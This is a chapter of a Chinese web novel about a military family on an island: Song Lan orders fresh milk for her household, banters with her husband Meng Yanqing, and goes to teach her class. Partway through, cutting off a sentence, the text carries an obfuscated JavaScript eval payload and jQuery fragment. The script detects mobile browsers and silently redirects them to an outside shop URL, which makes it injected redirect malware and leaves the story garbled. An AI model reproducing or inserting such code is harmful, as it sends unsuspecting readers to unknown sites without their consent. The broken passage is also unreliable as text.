等宋义完成喂饭任务离开后,宋阳面露沧桑。
郑红兵看见,只觉得挺逗。
两天相处下来,他对这人的印象从,敢于和特务搏斗的英雄,到有勇无谋的莽夫,再到开朗话痨,最后总结这就是个心思单纯,开朗心大的活宝。
少见受伤躺着不能动,也能给人一种活蹦乱跳的鲜活感。
可这会他开始忧郁了。
宋阳一忧郁,病房难得清净下来。
初始,郑红兵觉得安静点挺好。
慢慢的,这安静让他开始有些不适应。
最终郑红兵沉吟片刻,决定尝试安慰他一下:“嫂子和宋营长他们说你也都是因为关心你,你别伤心了。”
宋阳听的恍惚。
扭头看他:“嗯?你说啥?”
郑红兵:“我说让你别伤心,嫂子他们也是关心你。”
宋阳奇怪地瞅他一眼:“我知道啊,谁给你说我伤心了?”
郑红兵惊讶:“啊?你没伤心?”
“你没伤心,那宋营长走后,你怎么半天不说话。”
宋阳眼睛一转:“嗐!我是在想回家后怎么面对乡亲们的热情。”
其实他只是在惋惜自己还没得到就已经提前失去的英武名声。
见小郑战士这么关心他,宋阳再也丧不下去。
重拾开朗,对着郑红兵叽叽喳喳个不停。
宋兰自结婚后,职位转正,粮食关系跟着也转了过来。
有粮不慌。
他们家不算堂哥堂嫂两口之家,马上要有六个人了。
孩子正是发育的关键期,孟晏青自上次任务到现在掉的肉还没长回来,再加上如今受伤搁医院躺着的二哥,长时间田间地头出苦力的大哥,全都需要进补。
不知道岛上能不能订到牛奶。
到这里一个多月,好像没见过有谁喝牛奶呀。
找郑主任问问吧,万一有呢,他们家每人亟待牛奶来补充营养。
怕耽误两天把这事给忘了,宋兰下课后直接拐到了郑主任家。
郑书娟见这个时间上门的宋兰有些惊讶:“小宋是遇到什么难题了吗?”
宋兰被问的有点子不好意思,她这个时间过来确实打扰人。
但来都来了,宋兰抱歉道:“真对不起啊主任,这个点来打扰您,我就是想问问咱岛上能订牛奶吗?”
郑书娟知道她二哥受伤住院的事,又想想她家里新来的两个小孩和在部队忙的像个陀螺的小孟,确实都需要补补。
“你准备订多少?”
宋兰一听有门,双眼晶亮地报出自己早已算好的量:“四斤,每天四斤。”
郑书娟诧异:“哎呦!四斤?会不会有点太多了?”
宋兰:“嫂子,我家人多,喝的完。”
见她坚持,郑书娟怕她误会是自己不想她多订,遂解释说:“咱部队确实有个小型奶站,里边的奶牛是前两年司务长托关系从别的地方换来的,天天伺候祖宗一样侍弄着那几头牛,为的就是让它们多产点奶给受伤体弱的战士补身体,家属院这边很少会有人想着去订牛奶喝,大家都喝不惯那味道。”
“但咱这地方养奶牛是真的不好养,费钱费力的也不如人家别的地随便养养,来之不易就更显得这奶的金贵,所以在你订完奶之后喝不完可千万别浪费,让司务长知道,得罪人不说,你往后可能再也别想从他那弄到一滴奶了。”
对郑主任的谆谆告诫,宋兰悉心接受,她要的确实不少。
宋兰严肃保证:“主任,您放心,我一定不会浪费的。”
随后又道:“您能告诉我多少钱一斤吗?”
以刚刚郑主任的说法,这鲜奶的价格怕是不便宜。
果然,下一刻就听郑主任说:“不便宜,一斤三毛,每天四斤,一天就得一块二,这一月下来你工资全搭进去也不老够。”
宋兰心里默算了下每月支出后倒抽口冷气。
这鲜奶好贵哦!
可一人一天最少要摄入三百毫升的奶才能起到补充营养的作用,他们家四口加上大哥二哥,一共六人。
至少在二哥痊愈之前每天要四斤正合适,等二哥康复离开,每天就可以只用订两斤半。
订一次奶她得保证够喝到有剩。
当然剩余的她不会浪费,可以做成点心,送人自己吃都好。
打定主意,宋兰谢过郑主任的提醒,笑着说:“没事,我工资不够,还有我家孟副团呢,难得咱这儿有这个条件,当然要抓住机会给家里人补补。”
富含蛋白质的肉蛋都要票,住海边鱼虽不要票,那他们也不能顿顿吃鱼呀。
肉蛋奶鱼肉海鲜,他们家既不缺钱,那就不用抠搜那点奶钱。
郑书娟听完她的话,深觉有理,要不她回头也给自家老汪订点奶补补?
看她不在乎钱多钱少,郑书娟也干脆道:“行,你决定好就先把钱给我,按三十天的给,从后天起,往后每天早上七点会有人直接上门送奶。”
司务长老早就跟她交代了,要是家属院这边有人想订奶,让她来统计收钱,可惜到现在为止订奶的家庭也就小猫三两只。
主要太贵了,大多数人家宁可多攒点钱买肉吃,也不稀得喝这腥膻的牛奶。
宋兰没想到能这么顺利,闻言喜滋滋地开始掏兜,一天一块二,三十天就是三十六快整。
数完钱交给郑主任,宋兰礼貌告辞回家。
她订鲜奶的主意来的突然,完全没想过家里会不会有人不爱喝,或是乳糖不耐受。
回家途中,后知后觉想到这点的宋兰僵立当场。
完蛋,万一家里哪个不爱喝她还可以做成别的让他吃,但要是乳糖不耐受她可就没办法了。
算了,钱都交了,谁乳糖不耐喝不了,她就把剩下的想办法喂给其他人。
总不能倒霉到六口人全乳糖不耐受吧。
堂嫂那边她也得问一嘴,看她和堂哥要不要也去订一些喝。
不过他们在军区待的时间比她久,到现在没订可能也不爱喝吧,但她问一句又不费什么事,万一是他俩都忘了这茬呢。
高高兴兴回到家,揉了把坐在沙发上玩游戏的兄妹俩,宋兰笑眯眯的看向正在做饭的孟晏青。
她甫一进门,孟晏青就知道是她回来了,回头看着她笑:“回来了。”
宋兰用力点头:“回来了。”
紧接着就问:“你喜欢喝鲜奶吗?”
孟晏青:“还行吧,小时候在家常喝。”
怪不得长这么大的个头,常喝那就说明喝着没问题。
宋兰雀跃的凑到他跟前喜滋滋地说:“我刚找郑主任订了几斤鲜奶,往后咱家每天早上一人一杯,把身体都给补得壮壮的,争取活到七老八十。”
孟晏青被她的欢快感染,逗趣道:“七老八十怎么够,要活就活到长命百岁。”
宋兰伸出一只手指着他,谴责道:“咦~你好贪心。”
孟晏青笑容满面:“这就贪心啦?”
宋兰煞有介事的点点头:“贪心!”
孟晏青:“那我退一步,你活多少岁我就跟着活多岁。”
宋兰笑他:“你比我大六岁应该是我跟着你才对吧。”
孟晏青抽出一只手摸摸她脑袋:“还是你跟着我吧。”
看他笑容温和,骤然明白他什么意思的宋兰眼眶酸涩,期期艾艾地蹭到他背后,额头抵在他宽阔的肩背小声嘀咕道:“那你可要努力了,比我大六岁呢。”
孟晏青轻笑出声:“好,我努力。”
一中午,宋兰仿佛真的变成了孟晏青的小尾巴,他走到哪她跟到哪。
孟晏青任由她跟着,直到忙完一切,转身将她锢在怀里,轻拍安抚。
他不该说那些,明知道她有时过于柔软感性。
宋兰信奉及时行乐,上辈子孤身一人,从未体会过亲朋挚友的离别之痛的她。
这辈子,有家人有朋友,现在还有了爱人和孩子,终于隐约理解到那是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873775|208907||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怎样的一种感情。
是未曾经历,但只要稍加设想,就能体会到的心如刀割般的窒息与绝望。
难怪总有那么多人祈求家人和所爱之人,平安喜乐身体健康。
她以前是连自己的健康都不屑求的。
孟晏青不想她继续沉浸在,对还未发生之事的担忧恐惧中,出声提议道:“这周休息时间要带平平安安一起出岛玩儿吗?他们从出生到现在唯一一次在市里转悠,就是我和二哥带他们出农场那天了。”
宋兰动动眼球,思绪回转:“那就去吧,带他们逛公园看电影。”
孟晏青笑了:“看电影?”
宋兰听出他声音里的揶揄,回想起上次电影院里自己做的蠢事,没忍住锤他一记,她好不容易忘了的。
孟晏青岿然不动任她绵软无力的拳头落下:“这回咱去市里,你好好选选有什么想买的,电影等下回有空再看,这次主要就是买东西,叫上堂哥堂嫂一起。”
宋兰抬起脑袋:“叫上堂哥堂嫂一起拎东西带孩子吗?”
孟晏青笑容依旧,面孔温和俊美:“是叫他们和我们一起去玩。”
宋兰直视他的双眼:“是吗?”
看着她的眼睛再说一遍?
这男人总是憋着坏,她可不信他没那心思,毕竟她刚刚也有那样想过,总不能是她一个人坏吧。
孟晏青剑眉轻挑,笑意盈盈回答:“是啊。”
宋兰看他挑眉,放心了,原来坏的不止她一人。
嘿笑着重新钻到他怀里。
他们是坏蛋夫妇。
偷笑片刻后,宋兰又抬头环视四周。
奇怪,家里怎么这么安静,她崽呢?
孟晏青晓得她在疑惑什么,下巴一抬示意她看院子。
一刻钟前,孟晏青趁兰兰去厕所的功夫,找到跟妹妹玩击掌游戏的平平,送他一本新的小人书,条件是让他带妹妹去院子里玩一会,他和姨姨有事要忙。
宋兰抬腕看一眼时间,起身丢下孟晏青往院中走去。
孩子们该去学校了。
完全从多愁善感中脱离的宋兰后知后觉感到脸红。
老天!
她居然矫情了一中午!
孟晏青是怎么忍者安慰这么矫情的她的?
自觉丢了大脸的宋兰,此时此刻只想赶紧逃回学校,远离这个见证她犯病的目击者。
孟晏青安静的坐在一旁,看着难为情的兰兰,眼中盈满笑意。
嗯,多愁善感的兰兰固然让人心疼,但恢复正常后,尴尬到满地找缝的兰兰更令他心动。
宋兰偷偷瞅一眼唇角弧度越发明显的男人,暗自咬牙。
该死的!
这男人肯定是在嘲笑她。
等着吧,今晚客卧就是你的归属。
还笑!
你老婆没了!
宋兰一步一跺脚,愤愤地带着孩子洗完手脸,亲自送他们到学校,直到上课尴尬气都没消。
被抛下的孟晏青失笑的目送一大两小离开,锁上房门踱步向部队走去。
宋兰下午的课从初一到初三一班一节,最后一节是三班的课。
走进班级首先瞅一眼桂花姐家的老三王明在不在。
说来也是巧了。
她在决定当老师的当天撞见王明逃课,紧接着她就成了他的数学老师。
迄今为止只要想到她第一次来到这个班里给大家上课时,王明瞪大的双眼和充满不可置信的表情,就无数次想笑。
果然人都是有劣根性的。
发现王明在这个班后,不知出于什么心态。
宋兰只要来三班上课,或者去别班上课经过三班,都会下意识用目光搜寻那道熟悉身影。
从未想过掩饰。
明明白白告诉当事人,她就是想抓他的小辫子。
谁让他当初发誓再逃课,她就可以连他上回逃课的事,一起告诉他妈呢。
臭崽子,没想到吧,她成他老师了。